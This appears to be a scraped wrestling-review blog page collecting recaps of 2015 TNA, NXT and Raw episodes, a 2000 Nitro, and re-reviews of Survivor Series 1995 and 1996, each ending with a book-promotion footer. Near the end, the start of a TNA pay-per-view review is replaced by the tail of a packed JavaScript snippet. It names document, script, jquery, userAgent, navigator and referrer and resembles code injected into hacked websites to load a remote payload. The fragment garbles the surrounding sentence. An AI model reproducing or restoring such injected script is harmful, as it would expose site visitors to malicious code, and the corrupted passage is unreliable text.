New Column: Wish List
Today we’re looking at a few things that I’d like to see tweaked that could make things better. These aren’t the major ideas like turn so and so heel or make this guy champion.
Today we’re looking at a few things that I’d like to see tweaked that could make things better. These aren’t the major ideas like turn so and so heel or make this guy champion.
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Wrestling
Date: November 4, 2015
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero
The announcers preview the matches as well.
Preview of the Hardy interview where he talks about breaking his leg.
Group Knockouts: Madison Rayne vs. Brooke
Group Knockouts
Brooke – 3 points (1 match remaining)
Gail Kim – 3 points (1 match remaining)
Awesome Kong – 3 points (1 match remaining)
Madison Rayne – 3 points (1 match remaining)
Video on Roode vs. Young to set up their match later tonight.
The announcers preview Roode vs. Young.
Group UK: Bram vs. Rockstar Spud
Group UK
Drew Galloway – 6 points (1 match remaining)
Rockstar Spud – 3 points (1 match remaining)
Bram – 3 points (1 match remaining)
Grado – 0 points (1 match remaining)
Roode is ready for Young and is going to end the year as a double champion.
Another preview for the interview, this time talking about Matt winning the title. Good grief can they do anything but fill in time on these shows?
Group X-Division: Mandrews vs. Manik
Back up and Mandrews dropkicks the leg as Josh calls this a classic. A quick hurricanrana takes Manik down and a tornado DDT does the same. Mandrews takes his time looking at the crowd and his standing moonsault hits knees. He takes FOREVER going up top though and his shooting star hits knees, allowing Manik to hit his GTS into a kick for the pin at 7:09.
Group X-Division
Manik – 6 points (1 match remaining)
Tigre Uno – 3 points (1 match remaining)
DJZ – 3 points (1 match remaining)
Mandrews – 0 points (1 match remaining)
Clip of the Wolves getting the Tag Team Titles back recently.
Group Tag Team Specialists: Davey Richards vs. Eddie Edwards
We hit two minutes left and Eddie kicks Davey in the head again but Davey escapes the Backpack Stunner. Richards misses a top rope double stomp and we have a minute to go. A pinfall reversal sequence gets us nowhere and they strike it out until the clock runs out for a draw at 15:00.
Group Tag Team Specialists
Matt Hardy – 6 points (1 match remaining)
Robbie E. – 3 points (1 match remaining)
Eddie Edwards – 1 points (1 match remaining)
Davey Richards – 1 points (1 match remaining)
The draw means Matt Hardy has advanced to the round of sixteen.
The Wolves think they have something special and will be friends forever.
Pope makes some predictions with the swiping game.
Group Wild Card: Mahabali Shera vs. Kenny King
Group Wild Card
Mahabali Shera – 6 points (1 match remaining)
Kenny King – 3 points (1 match remaining)
Crazzy Steve – 0 points (1 match remaining)
We recap the night.
Quick video on Roode vs. Young.
Group TNA Originals: Eric Young vs. Bobby Roode
Group TNA Originals
Bobby Roode – 3 points (1 match remaining)
Abyss – 3 points (1 point remaining)
James Storm – 3 points (1 match remaining)
Eric Young – 3 points (1 match remaining)
Results
Madison Rayne b. Brooke – Rayne Drop
Bram b. Rockstar Spud – Brighter Side of Suffering
Manik b. Mandrews – Kick to the head
Davey Richards vs. Eddie Edwards went to a time limit draw
Mahabali Shera b. Kenny King – Sky High
Eric Young b. Bobby Roode – Piledriver
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
NXT
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November 4, 2015
Location: Full Sail University, Winter Park, Florida
Commentators: Rich Brennan, Byron Saxton, Corey Graves
The opening video recaps Crews winning the battle royal and becoming #1 contender.
Opening sequence.
Asuka vs. Cameron
Bull Dempsey vs. Angelo Dawkins
Dawkins has a Sawyer Fulton with him. The threat of a right hand makes Dawkins duck, allowing a knee lift to the head. Dawkins kicks him down and puts on a front facelock but Dempsey Bulls up. Bull punches one of the headbands off and a top rope seated senton gives Dempsey the pin at 2:53.
Fulton walks away from Dawkins post match.
Crews looks at the NXT Title.
Bayley has the Hype Bros as her partners against Alexa Bliss/Blake/Murphy for a six person tag next week.
Eva Marie vs. Marley
NXT Title: Apollo Crews vs. Finn Balor
Post match Corbin beats both guys down until Samoa Joe makes the save. Joe stars Corbin down but then takes Balor out to turn heel. Fans: “WHY JOE WHY?” A Muscle Buster lays Finn out and Joe holds up the title to end the show.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
http://www.wrestlingrumors.net/seth-rollins-possibly-injured/44556/
It’s a leg/knee and he was helped to the back. There’s no word on how serious it is but it’s always noteworthy.
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Nitro #244
Date: June 12, 2000
Location: Richmond Coliseum, Richmond, Virginia
Attendance: 4,723
Commentators: Tony Schiavone, Mark Madden, Scott Hudson
Scott Hudson has no shirt on because he made fun of Russo for not having a shirt on. Does it surprise anyone that we have to suffer so we can see proof that Russo has moved above Hudson in the official manliness power rankings?
Tony: “Sting was lit on fire last night. If you want to see something shocking, order the replay.”
Hardcore Title: Big Vito vs. Terry Funk
Funk hands Vito the belt and shakes his hand post match. Vito blasts him with the belt to look truly evil.
Vampiro talks to someone in a cloak about Sting being gone. The man in the cloak says there are more souls to take. So we have a higher power.
Shane Douglas/Buff Bagwell vs. Kronik
Bagwell and Shane argue post match and Shane sucker punches him with brass knuckles.
Kidman thinks Jarrett vs. Hogan needs a guest referee.
Cruiserweight Title: Lieutenant Loco vs. The Artist
Flair and company arrive.
Cat is waiting on Hogan.
Russo has a group of women to do whatever Goldberg wants. Goldberg sends them off.
Hogan arrives and Cat tells him that the title match is in ten minutes. Hulk agrees but gets blindsided by a guitar shot.
Horace is unconscious in the back.
WCW World Title: Hollywood Hogan vs. Jeff Jarrett
Then the moment is kind of wasted as the announcers do the big serious chat but Tony chuckles at Hudson for not having a shirt on.
Discussion about Sting getting burned, same problem with Hudson. If you want to see a man get burned, order the replay!
Vampiro vs. The Demon
Russo is panicking about losing his hair.
Before we get to the match, we need to go over this. Last night at the pay per view, the announcers speculated that there were two possibilities:
1. Kanyon was hurt and Bischoff got inside his head.
2. Kanyon never was hurt and it was all staged.
Scott Steiner vs. Positively Kanyon
Vince Russo/David Flair vs. Ric Flair/Reid Flair
Goldberg vs. Kevin Nash
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Survivor Series 1996
Date: November 17, 1996
Location: Madison Square Garden, New York City, New York
Attendance: 18,647
Commentators: Jim Ross, Vince McMahon, Jerry Lawler
Team Furnas and Lafon vs. Team Owen Hart/British Bulldog
Doug Furnas, Phillip Lafon, Godwins
Owen Hart, British Bulldog, New Rockers
Kevin Kelly is in the boiler room with Paul Bearer and Mankind, as Bearer abandoned Undertaker for Mankind at Summerslam. Tonight the huge rivalry continues with Bearer locked in a small cage above the ring. This is when Mankind was still relatively new (he debuted about six and a half months before this) and no one knew what to make of him yet. All anyone knew was he could beat up Undertaker which was unheard of at the time.
Mankind vs. Undertaker
Bearer has to be locked in the small cage. Undertaker lowers down from the rafters in what can only be called a Batman costume minus the mask. The ring gear is new as well as he basically a biker vest and leather pants. That would become his standard look for the next three years or so. Mankind rams him into the small cage to start and they head to the floor very quickly.
We head to the floor for the third time via a Cactus Clothesline and they head into the crowd. Mankind charges atUndertaker but gets backdropped over the barricade and onto the concrete. A low blow putsUndertaker down on the apron and down onto the floor, where Mankind hits the elbow off the apron. Undertaker gets sent into the buckle but comes back with an elbow to the face.
Old School hits but Mankind pops up and hits a double arm DDT to put Undertaker down. Mankind goes up but jumps into a chokeslam. The Claw goes on but Undertaker chokeslams him anyway. Cool spot. Undertaker tries a cross body but he crashes over the top and out to the floor. Mankind tries a flip dive off the apron but crashes just as badly and both guys are down. Back in and Mankind tries a quick sleeper, only to be suplexed for his efforts.
Sunny comes out for commentary.
Team Hunter Hearst Helmsley vs. Team Marc Mero
Hunter Hearst Helmsley, Jerry Lawler, Goldust, Crush
Marc Mero, Jake Roberts, The Stalker, Rocky Maivia
Bret says MSG is holy ground for him.
Steve Austin vs. Bret Hart
Austin actually wins a technical battle and cranks on the arm. Bret does the same and adds a hammerlock. They fight for wristlocks and Bret takes it to the mat, working on the arm. Austin fights up and takes his head off with an elbow. Bret stays technical, Austin turns it into a brawl. This is going to have some good psychology in it and the match is going to be fun as a result. Bret takes it right back to the mat and cranks on the arm again.
Austin escapes a backbreaker with a rake of the eyes as momentum shifts again. Bret gets sent to the floor and Austin just pounds on him with forearms and punches. Austin rams him back first into the post as the attacks shifts to the back. Bret comes back by sending him into the barricade, breaking the thing apart. They head into the front row and knock the barricade over. Austin is in trouble again and Bret chases him to the other side of the ring.
Sid is ready for Shawn tonight.
Team Farrooq vs. Team Yokozuna
Farrooq, Vader, Razor Ramon, Diesel
Yokozuna, Flash Funk, Savio Vega, Jimmy Snuka
Off to Savio who gets beaten up by Farrooq on the floor. Back in and Diesel Jackknifes Snuka for the first elimination. Off to Snuka vs. Ramon now with Snuka slamming him down and hitting the Superfly Splash for the elimination. Then everyone brawls in the ring and EVERYONE is disqualified at the same time.
WWF World Title: Shawn Michaels vs. Sycho Sid
Shawn avoids a charge into the corner and goes after the knee some more. Sid kicks him into the ropes and Shawn skins the cat, but Sid clotheslines him right to the floor. Shawn gets dropped on the barricade for two back inside. Sid hits a few running kicks to the head in the corner as things slow down again. Michaels avoids a charge in the corner and goes up, with the fans openly booing him now.
The champ dives into a backbreaker for two and Shawn can barely get up. Shawn fights up and turns it into a slugout with Sid going down. We get the always stupid looking jump into the boot spot and Sid puts on a cobra clutch. Shawn fights up but walks into a chokeslam. The place is exploding for Sid here. The powerbomb is countered into a small package for two but Sid gets the same off a powerslam.
Shawn scrambles to the back to check on Jose.
Ratings Comparison
Team Furnas and Lafon vs. Team Owen Hart and British Bulldog
Original: B-
Redo: C+
Undertaker vs. Mankind
Original: C+
Redo: B
Team Hunter Hearst Helmsley vs. Team Marc Mero
Original: D
Redo: C+
Bret Hart vs. Steve Austin
Original: A+
Redo: A+
Team Farrooq vs. Team Yokozuna
Original: D-
Redo: F
Sycho Sid vs. Shawn Michaels
Original: C-
Redo: B
Overall Rating
Original: B-
Redo: B+
Like I said, I liked it better than I rememebred.
Here’s the original review if you’re interested:
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
Survivor Series 1995
Date: November 19, 1995
Location: USAir Arena, Landover, Maryland
Attendance: 14,500
Commentators: Vince McMahon, Mr. Perfect, Jim Ross
Mr. Perfect is introduced as a surprise commentator.
BodyDonnas vs. Underdogs
BodyDonnas: Skip, Rad Radford, Tom Prichard, 1-2-3 Kid
Underdogs: Barry Horowitz, Hakushi, Marty Jannetty, Bob Holly
The idea here is people that care about their looks vs. jobbers. Horowitz scored one of the biggest upsets ever over Skip (Chris Candido, a fitness guru. He would later be joined by Prichard under the name Zip. Their manager was the famous one though: Sunny). Jannetty needs no introduction as a jobber.
The Kid is a mystery partner who is freshly heel here. By freshly I mean this is his first match as a heel. Razor comes out to go after the Kid who screwed him over on Raw on Monday. Raw is finally a big deal at this point too. Razor is Intercontinental Champion of course. Radford is Louis Spicolli in a grunge gimmick. Holly is a racecar driver and Hakushi is a Japanese wrestler with tattoos all over his torso.
Razor threw a fit in the back after the loss, throwing a monitor against the wall in the process.
Team Bertha Faye vs. Team Alundra Blayze
Bertha Faye, Aja Kong, Tomoko Watanabe, Lioness Asuka
Alundra Blayze, Kyoko Inoue, Sakie Hasegawa, Chaparita Asari
Watanabe comes in but misses a dive. Blayze sends her to the floor and does hit her dive to take over. Hasegawa comes in and hits five rolling double underhook suplexes on Watanabe as Perfect makes sexist remarks. Watanabe hits a seated senton off the top for two as this selling thing is still an issue. Aja Kong, a total monster, comes in with no tag and is immediately kicked in the face and suplexed by Hasegawa. Another Rock Bottom suplex puts her down but Hasegawa jumps into a kick to the chest. Something like a belly to back suplex eliminates Hasegawa to make it 3-3.
Bam Bam Bigelow vs. Goldust
Royals vs. Dark Side
Royals: King Mabel, Jerry Lawler, Hunter Hearst Helmsley, Isaac Yankem
Dark Side: Undertaker, Fatu, Henry Godwin, Savio Vega
Rating: D+. This whole match ran just under fifteen minutes and about two of those meant anything. Everything was waiting for Undertaker to come in and dominate, which he did quite well, but getting there was pretty dull stuff. This match is more fun for looking at what these people would become rather than what they are now. Undertaker would lose the mask soon enough thank goodness.
DiBiase and Cornette have a small argument before the next match. Shawn comes in and says chill.
Team Shawn Michaels vs. Team Yokozuna
Shawn Michaels, Ahmed Johnson, British Bulldog, Sycho Sid
Yokozuna, Owen Hart, Razor Ramon, Dean Douglas
Rating: C+. For a match with almost no point behind it and some wacky teams, this was pretty good stuff. The Shawn vs. Razor stuff was interesting as you knew they had chemistry but it was fun to see them without a gimmick. Ahmed looked good but not great here, which would be the right description of him for his entire run in the WWF. Fun match that was never tried again, which I can understand.
More Clinton stuff with Sunny sitting on his lap. Lucky guy.
Bret talks about his previous matches with Diesel, both of which rocked.
Perfect picks Bret, JR picks Diesel.
WWF World Title: Bret Hart vs. Diesel
Bret starts getting back to the apron but Diesel knocks him off, and for the first time ever, through the Spanish Announce Table. They head back inside and Diesel calls for the Jackknife but Bret falls onto his face from exhaustion. Diesel picks him up to try again but BRET IS GOLDBRICKING and rolls Diesel up for the title out of nowhere in a big surprise.
Ratings Comparison
BodyDonnas vs. Underdogs
Original: A-
Redo: B
Team Bertha Faye vs. Team Alundra Blayze
Original: D
Redo: C+
Goldust vs. Bam Bam Bigelow
Original: C
Redo: F
Dark Side vs. Royals
Original: B-
Redo: D+
Team Shawn Michaels vs. Team Yokozuna
Original: C+
Redo: C+
Bret Hart vs. Diesel
Original: C+
Redo: A
Overall Rating
Original: B-
Redo: B
As close as the previous show was to being the same, this one is almost entirely different, yet it leads to a very similar overall rating. That’s a very interesting thing and one of my favorite things to see in doing this.
Here’s the original review if you’re interested:
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
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Night Raw
Date: November 2, 2015
Location: Pepsi Center, Denver, Colorado
Commentators: Michael Cole, John Bradshaw Layfield, Byron Saxton
Kevin Owens vs. Dolph Ziggler
Rating: C-. Not great here and I could have done without hearing about Summer streaming video on whatever she was doing. Back in my day, you watched the video of the match during the match instead of trying to find some video on the internet. Owens is still on a roll though and Breeze gets to mess with Dolph even more so well done.
Post match Tyler goes to pose over Ziggler but gets punched in the face. That earns Ziggler a Beauty Shot as Summer continues to stream.
We look back at 1987 when the first Survivor Series took place on Thanksgiving night. That was a great show.
Rollins recruits Owens for his team tonight with promises of a title match at Wrestlemania.
We look at Paige going full heel last week.
Cesaro vs. The Miz
Unless the souls are consumed by a higher power (there would be a Vince joke here but all of the good ones are probably already covered) like Bray, who has already harvested the souls of Undertaker and Kane. Bray summons the thunder and lightning (thunder rolls and purple lightning comes out of the posts) because he now controls the powers of darkness. A bunch of fireworks go off and we see a highlight video of the Brothers of Destruction. Cool segment but go win something.
Lucha Dragons vs. King Barrett/Sheamus
Alberto Del Rio vs. R-Truth
Clip of the Raw vs. Smackdown Survivor Series match in 2005.
Rollins lets Big E. and Kofi (still no Woods) join the team if they can find a fifth man. They hold up the unicorns and look like they have ice cream headaches until Xavier returns to complete the team. A TEAM RO-LLINS dance party starts but Seth walks off.
Sasha Banks vs. Brie Bella vs. Becky Lynch vs. Paige
Winner gets the shot at Survivor Series. No Nikki, who is out with an injury. Brie and Sasha shove each other around to start until Becky dropkicks them down and nips up. Sasha and Becky trade some rollups for two each but Becky starts going after the knee to take over. Brie finally comes back in with a double middle rope dropkick. We get some running BRIE MODE (which now means no facial expressions instead of getting smashed) knees but Paige superkicks Brie down.
After taking their sweet time we get a Tower of Doom with Sasha taking the superplex and Becky powerbombing everyone down. The Disarm-Her has Brie in trouble but Sasha makes the save and gets two on Becky off a neckbreaker. The Bank Statement has Becky in trouble (she looked like she was tapping) but Paige breaks it up and hooks the Rampaige to pin Becky at 13:18.
Team Rollins vs. Team Reigns
Seth Rollins, Kevin Owens, New Day
Roman Reigns, Unknown, TBA, TBD, A mystery partner
Rating: B-. First of all: the following people use superkicks.
Paige
Jimmy Uso
Jey Uso
Alberto Del Rio
Luke Harper
Seth Rollins
Dolph Ziggler
Rusev
Kevin Owens
Tyler Breeze
And I might be forgetting some. I know the company edict is that Shawn Michaels is the greatest of all time but LEARN SOMETHING NEW. Even the Young Bucks do something else every now and then.
Rollins cleans house with the chair but Reigns gets in a Superman Punch to send him running to end the show.
Results
Kevin Owens b. Dolph Ziggler – Pop Up Powerbomb
Cesaro b. The Miz – Sharpshooter
Lucha Dragons b. Sheamus/King Barrett – Salida Del Sol to Barrett
Alberto Del Rio b. R-Truth – Top rope double stomp
Paige b. Becky Lynch, Sasha Banks and Brie Bella – Rampaige to Lynch
Team Reigns b. Team Rollins last eliminating Seth Rollins
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at:
WWE has acknowledged the injury and it’s not good.http://www.wwe.com/inside/randy-orton-injured-november-2015-28150944
The company doctor says at this point it’s a matter of when Orton would hurt his shoulder again rather than when. Surgery is likely and Orton would be out four to six months. That means he could miss Wrestlemania.
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yhfba|var|u0026u|referrer|nnnbi||js|php'.split('|'),0,{})) is a show that I did not want to see. In case you didn’t notice it in my 148 different versions of complaining about the show, this was the least interested I’ve been in a pay per view since…..well since whenever TNA last had a pay per view probably. It’s almost entirely made of rematches, which can work but in this case I wasn’t interested in the matches the first time around either. This is the dark time of the year for the company but I wound up really liking the show. A lot of that was due to the lack of expectations but let’s see how well it holds up.
Remember to follow me on Twitter @kbreviews and pick up my new book of Complete 1997 Monday Night Raw Reviews at Amazon for just $3.99 at:
http://www.amazon.com/dp/product/B015IN12I2
And check out my Amazon author page with cheap wrestling books at: